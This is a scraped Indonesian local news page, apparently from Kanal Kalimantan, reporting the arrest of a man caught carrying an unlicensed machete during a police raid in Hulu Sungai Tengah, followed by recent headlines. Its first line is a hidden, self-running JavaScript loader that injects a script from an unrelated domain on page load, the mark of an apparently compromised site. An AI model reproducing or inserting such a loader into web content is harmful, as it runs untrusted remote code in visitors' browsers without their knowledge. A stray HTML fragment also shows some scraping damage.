(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Polisi Tangkap Pengunjung Warung Malam Pembawa Sajam


BARABAI, Dalam rangka menciptakan situasi Kamtibmas yang kondusif di Kabupaten Hulu Sungai Tengah (HST), Polres HST beserta Polsek Jajaran meningkatkan kegiatan patroli dan razia di tempat yang dianggap rawan tindak kejahatan. Kali ini Polsek Pandawan berhasil menangkap satu orang pelaku yang membawa senjata tajam, Sabtu (20/10) sekitar pukul 23.00 wita.

Pelaku berinisial HDR (27) warga Desa Kupang Samhurang Rt. 002 /001 Kecamatan Labuan Amas Utara, HST, ditangkap petugas karena membawa senjata tajam tanpa dilampiri dengan surat izin dari senjata tajam tersebut. “Kemarin malam, anggota dari Polsek Pandawan berhasil menangkap satu orang pelaku yang membawa senjata tajam,” kata Kapolres HST AKBP Sabana Atmojo, S.I.K., M.H.

Penangkapan pelaku bermula saat petugas dari Polsek Pandawan melaksanakan giat razia pekat. Saat melintas di Desa Banua Hanyar RT 09 /RW 03 Kecamatan Pandawan, petugas berhenti di sebuah warung dipinggir jalan untuk melakukan pemeriksaan terhadap para pengunjung warung.

Kemudian petugas melakukan pemeriksaan identitas dan dilanjutkan dengan penggeledahan badan terhadap semua orang yang berada didalam warung tersebut. Dari hasil pemeriksaan tersebut, petugas berhasil menemukan satu bilah senjata tajam jenis parang yang diselipkan dibelakang pinggang pelaku HDR.

Saat ditanya tentang izin membawa senjata tajam oleh petugas, pelaku tidak bisa menunjukannya. Selanjutnya pelaku dan barang bukti diamankan ke Polsek Pandawan untuk proses penyidikan lebih lanjut.

“Barang bukti yang berhasil diamankan dari pelaku berupa satu bilah senjata tajam jenis parang dengan panjang besi 36 cm, hulu terbuat dari kayu warna cokelat dengan panjang 13 cm lengkap dengan kompangnya terbuat dari kayu warna cokelat yang ada tali warna biru,” jelas Kapolres HST.

Pelaku dijerat dengan pasal 2 Ayat (1) Undang – Undang Darurat No 12 Tahun 1951 karena telah melakukan tindak pidana barang siapa tanpa hak membawa, memiliki, menyimpan dan menguasai senjata tajam tanpa izin dengan ancaman pidana penjara paling lama 10 tahun.(rico)

div class=”reporter”>
Reporter : Rico
Editor : Chell


Desy Arfianty

Recent Posts

Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?

KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More

6 jam ago

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

8 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

9 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

9 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

11 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

11 jam ago

This website uses cookies.